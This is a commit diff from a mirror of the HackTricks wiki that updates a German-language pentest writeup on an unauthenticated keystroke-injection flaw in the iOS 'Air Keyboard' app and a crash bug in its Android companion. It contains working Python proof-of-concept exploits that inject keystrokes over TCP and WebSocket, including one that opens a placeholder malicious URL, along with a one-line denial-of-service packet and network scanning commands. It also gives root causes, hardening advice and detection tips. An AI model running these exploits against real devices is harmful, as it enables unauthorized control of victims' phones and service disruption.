mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in
This commit is contained in:
parent
3176af5b6a
commit
8b2624283e
@ -1,18 +1,25 @@
|
|||||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## TL;DR
|
## TL;DR
|
||||||
|
|
||||||
Die iOS-Version der kommerziellen "Air Keyboard"-Anwendung (App Store ID 6463187929) öffnet einen **klartext TCP-Dienst auf Port 8888**, der Tastatureingabeframes **ohne jegliche Authentifizierung** akzeptiert. Jedes Gerät im selben Wi-Fi-Netzwerk kann sich mit diesem Port verbinden und beliebige Tastatureingaben in das Telefon des Opfers injizieren, was zu **vollständiger Ferninteraktionsübernahme** führt.
|
Die iOS-Version der kommerziellen **„Air Keyboard“**-Anwendung (App Store ID 6463187929) bietet einen Dienst im lokalen Netzwerk an, der **Tastatureingabeframes ohne jegliche Authentifizierung oder Herkunftsüberprüfung akzeptiert**. Je nach installierter Version ist der Dienst entweder:
|
||||||
|
|
||||||
Eine begleitende Android-Version hört auf **Port 55535**. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht eine **nicht behandelte Ausnahme in der OpenSSL-Dekrutierungsroutine**, die den Hintergrunddienst zum Absturz bringt (**DoS**).
|
* **≤ 1.0.4** – roter TCP-Listener auf **Port 8888**, der einen 2-Byte-Längenheader erwartet, gefolgt von einer *device-id* und der ASCII-Nutzlast.
|
||||||
|
* **≥ 1.0.5 (Juni 2025)** – **WebSocket**-Listener auf dem *gleichen* Port (**8888**), der **JSON**-Schlüssel wie `{"type":1,"text":"…"}` analysiert.
|
||||||
|
|
||||||
## 1. Service Discovery
|
Jedes Gerät im selben Wi-Fi / Subnetz kann daher **willkürliche Tastatureingaben in das Telefon des Opfers injizieren und vollständige Remote-Interaktionsübernahme erreichen**. Eine begleitende Android-Version hört auf **Port 55535**. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht dennoch eine **nicht behandelte Ausnahme in OpenSSL**, die den Hintergrunddienst zum Absturz bringt (**DoS**).
|
||||||
|
|
||||||
|
> Die Schwachstelle ist **zum Zeitpunkt des Schreibens (Juli 2025) immer noch nicht gepatcht** und die Anwendung bleibt im App Store verfügbar.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Dienstentdeckung
|
||||||
|
|
||||||
Scannen Sie das lokale Netzwerk und suchen Sie nach den beiden festen Ports, die von den Apps verwendet werden:
|
Scannen Sie das lokale Netzwerk und suchen Sie nach den beiden festen Ports, die von den Apps verwendet werden:
|
||||||
```bash
|
```bash
|
||||||
# iOS (input-injection)
|
# iOS (unauthenticated input-injection)
|
||||||
nmap -p 8888 --open 192.168.1.0/24
|
nmap -p 8888 --open 192.168.1.0/24
|
||||||
|
|
||||||
# Android (weakly-authenticated service)
|
# Android (weakly-authenticated service)
|
||||||
@ -20,72 +27,146 @@ nmap -p 55535 --open 192.168.1.0/24
|
|||||||
```
|
```
|
||||||
Auf Android-Geräten können Sie das verantwortliche Paket lokal identifizieren:
|
Auf Android-Geräten können Sie das verantwortliche Paket lokal identifizieren:
|
||||||
```bash
|
```bash
|
||||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||||
|
|
||||||
# rooted device / Termux
|
# rooted device / Termux
|
||||||
netstat -tulpn | grep LISTEN
|
netstat -tulpn | grep LISTEN
|
||||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||||
```
|
```
|
||||||
## 2. Frame-Format (iOS)
|
Auf **jailbroken iOS** können Sie etwas Ähnliches tun mit `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||||
|
|
||||||
Die Binärdatei zeigt die folgende Parsing-Logik innerhalb der `handleInputFrame()`-Routine:
|
---
|
||||||
|
|
||||||
|
## 2. Protokolldetails (iOS)
|
||||||
|
|
||||||
|
### 2.1 Legacy (≤ 1.0.4) – benutzerdefinierte binäre Frames
|
||||||
```
|
```
|
||||||
[length (2 bytes little-endian)]
|
[length (2 bytes little-endian)]
|
||||||
[device_id (1 byte)]
|
[device_id (1 byte)]
|
||||||
[payload ASCII keystrokes]
|
[payload ASCII keystrokes]
|
||||||
```
|
```
|
||||||
Die deklarierte Länge umfasst das `device_id` Byte **aber nicht** den zweibyte Header selbst.
|
Die deklarierte *Länge* umfasst das `device_id` Byte **aber nicht** den zweibyte Header selbst.
|
||||||
|
|
||||||
## 3. Exploitation PoC
|
### 2.2 Aktuell (≥ 1.0.5) – JSON über WebSocket
|
||||||
|
|
||||||
|
Version 1.0.5 wurde stillschweigend auf WebSockets migriert, während die Portnummer unverändert blieb. Ein minimaler Tastendruck sieht aus wie:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": 1, // 1 = insert text, 2 = special key
|
||||||
|
"text": "open -a Calculator\n",
|
||||||
|
"mode": 0,
|
||||||
|
"shiftKey": false,
|
||||||
|
"selectionStart": 0,
|
||||||
|
"selectionEnd": 0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Kein Handshake, Token oder Signatur ist erforderlich – das erste JSON-Objekt löst bereits das UI-Ereignis aus.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Ausnutzung PoC
|
||||||
|
|
||||||
|
### 3.1 Zielgerichtet ≤ 1.0.4 (raw TCP)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||||
import socket, sys
|
import socket, sys
|
||||||
|
|
||||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||||
|
|
||||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||||
frame += keystrokes
|
frame += keystrokes
|
||||||
|
|
||||||
with socket.create_connection((target_ip, 8888)) as s:
|
with socket.create_connection((target_ip, 8888)) as s:
|
||||||
s.sendall(frame)
|
s.sendall(frame)
|
||||||
print("Injected", keystrokes)
|
print("[+] Injected", keystrokes)
|
||||||
```
|
```
|
||||||
Jede druckbare ASCII (einschließlich `\n`, `\r`, Sondertasten usw.) kann gesendet werden, was dem Angreifer effektiv die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, Phishing-URLs besuchen usw.
|
### 3.2 Zielgerichtet ≥ 1.0.5 (WebSocket)
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||||
|
import json, sys, websocket # `pip install websocket-client`
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||||
|
ws.send(json.dumps({
|
||||||
|
"type": 1,
|
||||||
|
"text": "https://evil.example\n",
|
||||||
|
"mode": 0,
|
||||||
|
"shiftKey": False,
|
||||||
|
"selectionStart": 0,
|
||||||
|
"selectionEnd": 0
|
||||||
|
}))
|
||||||
|
ws.close()
|
||||||
|
print("[+] URL opened on target browser")
|
||||||
|
```
|
||||||
|
*Jeder druckbare ASCII-Zeichen — einschließlich Zeilenumbrüche, Tabs und den meisten Sondertasten — kann gesendet werden, was dem Angreifer die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, bösartige URLs öffnen, Einstellungen umschalten usw.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 4. Android Companion – Denial-of-Service
|
## 4. Android Companion – Denial-of-Service
|
||||||
|
|
||||||
Der Android-Port (55535) erwartet ein 4-Zeichen-Passwort, das mit einem **fest codierten AES-128-ECB-Schlüssel** verschlüsselt ist, gefolgt von einem zufälligen Nonce. Parsing-Fehler steigen zu `AES_decrypt()` auf und werden nicht abgefangen, was den Listener-Thread beendet. Ein einzelnes fehlerhaftes Paket reicht daher aus, um legitime Benutzer bis zum Neustart des Prozesses getrennt zu halten.
|
Der Android-Port (55535) erwartet ein **4-Zeichen-Passwort, das mit einem fest codierten AES-128-ECB-Schlüssel verschlüsselt ist**, gefolgt von einem zufälligen Nonce. Parsing-Fehler steigen zu `AES_decrypt()` auf und werden nicht abgefangen, was den Listener-Thread beendet. Ein einzelnes fehlerhaftes Paket reicht daher aus, um legitime Benutzer bis zum Neustart des Prozesses getrennt zu halten.
|
||||||
```python
|
```python
|
||||||
import socket
|
import socket
|
||||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||||
```
|
```
|
||||||
## 5. Ursachenanalyse
|
---
|
||||||
|
|
||||||
1. **Keine Herkunfts- / Integritätsprüfungen** bei eingehenden Frames (iOS).
|
## 5. Verwandte Apps – Ein wiederkehrendes Anti-Muster
|
||||||
2. **Kryptografischer Missbrauch** (statischer Schlüssel, ECB, fehlende Längenvalidierung) und **mangelnde Ausnahmebehandlung** (Android).
|
|
||||||
|
|
||||||
## 6. Minderung & Härtungsideen
|
Air Keyboard ist **kein Einzelfall**. Andere mobile „Remote-Tastatur/Maus“-Hilfsprogramme haben denselben Fehler:
|
||||||
|
|
||||||
* Exponiere niemals nicht authentifizierte Dienste auf einem mobilen Endgerät.
|
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 erlauben nicht authentifizierte Befehlsausführung und Klartext-Tastatureingabeprotokollierung.
|
||||||
* Leite gerätespezifische Geheimnisse während des Onboardings ab und verifiziere sie, bevor du Eingaben verarbeitest.
|
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 nicht authentifizierte RCE & Verkehrsschnüffeln.
|
||||||
* Binde den Listener an `127.0.0.1` und verwende einen gegenseitig authentifizierten, verschlüsselten Transport (z. B. TLS, Noise) für die Fernsteuerung.
|
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 standardmäßig kein Passwort, schwache PIN-Brute-Force und Klartext-Leckage.
|
||||||
* Erkenne unerwartete offene Ports während mobiler Sicherheitsüberprüfungen (`netstat`, `lsof`, `frida-trace` auf `socket()` usw.).
|
|
||||||
* Als Endbenutzer: Deinstalliere Air Keyboard oder verwende es nur in vertrauenswürdigen, isolierten Wi-Fi-Netzwerken.
|
Diese Fälle heben eine systematische Vernachlässigung der **netzwerkseitigen Angriffsflächen in mobilen Apps** hervor.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Grundursachen
|
||||||
|
|
||||||
|
1. **Keine Herkunfts-/Integritätsprüfungen** bei eingehenden Frames (iOS).
|
||||||
|
2. **Kryptografischer Missbrauch** (statischer Schlüssel, ECB, fehlende Längenvalidierung) und **fehlende Ausnahmebehandlung** (Android).
|
||||||
|
3. **Vom Benutzer gewährte Local-Network-Berechtigung ≠ Sicherheit** – iOS fordert zur Laufzeit die Zustimmung für LAN-Verkehr an, ersetzt jedoch keine ordnungsgemäße Authentifizierung.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Härtungs- & Verteidigungsmaßnahmen
|
||||||
|
|
||||||
|
Entwicklerempfehlungen:
|
||||||
|
|
||||||
|
* Binden Sie den Listener an **`127.0.0.1`** und tunneln Sie über **mTLS** oder **Noise XX**, wenn Fernsteuerung erforderlich ist.
|
||||||
|
* Leiten Sie **geräteabhängige Geheimnisse während der Onboarding-Phase ab** (z. B. QR-Code oder Pairing-PIN) und erzwingen Sie *gegenseitige* Authentifizierung, bevor Sie Eingaben verarbeiten.
|
||||||
|
* Übernehmen Sie das **Apple Network Framework** mit *NWListener* + TLS anstelle von Roh-Sockets.
|
||||||
|
* Implementieren Sie **Längenpräfix-Sanity-Checks** und strukturierte Ausnahmebehandlung beim Entschlüsseln oder Dekodieren von Frames.
|
||||||
|
|
||||||
|
Blue-/Red-Team schnelle Erfolge:
|
||||||
|
|
||||||
|
* **Netzwerksuche:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` oder Wireshark-Filter `tcp.port == 8888`.
|
||||||
|
* **Laufzeitanalyse:** Frida-Skript, das `socket()`/`NWConnection` hookt, um unerwartete Listener aufzulisten.
|
||||||
|
* **iOS App Privacy Report (Einstellungen ▸ Datenschutz & Sicherheit ▸ App-Datenschutzbericht)** hebt Apps hervor, die LAN-Adressen kontaktieren – nützlich, um bösartige Dienste zu erkennen.
|
||||||
|
* **Mobile EDRs** können einfache Yara-L-Regeln für die JSON-Schlüssel `"selectionStart"`, `"selectionEnd"` innerhalb von Klartext-TCP-Nutzlasten auf Port 8888 hinzufügen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Erkennungs-Checkliste (Pentester)
|
## Erkennungs-Checkliste (Pentester)
|
||||||
```bash
|
```bash
|
||||||
# Quick one-liner to locate vulnerable devices in a /24
|
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||||
|
| awk '/Ports/{print $2 " " $4}'
|
||||||
|
|
||||||
# Inspect running sockets on a connected Android target
|
# Inspect running sockets on a connected Android target
|
||||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||||
|
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||||
```
|
```
|
||||||
|
---
|
||||||
|
|
||||||
## Referenzen
|
## Referenzen
|
||||||
|
|
||||||
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||||||
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
- [Mobile-Hacker Blog (17. Juli 2025) – Remote Input Injection-Sicherheitsanfälligkeit in der Air Keyboard iOS App weiterhin ungepatcht](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user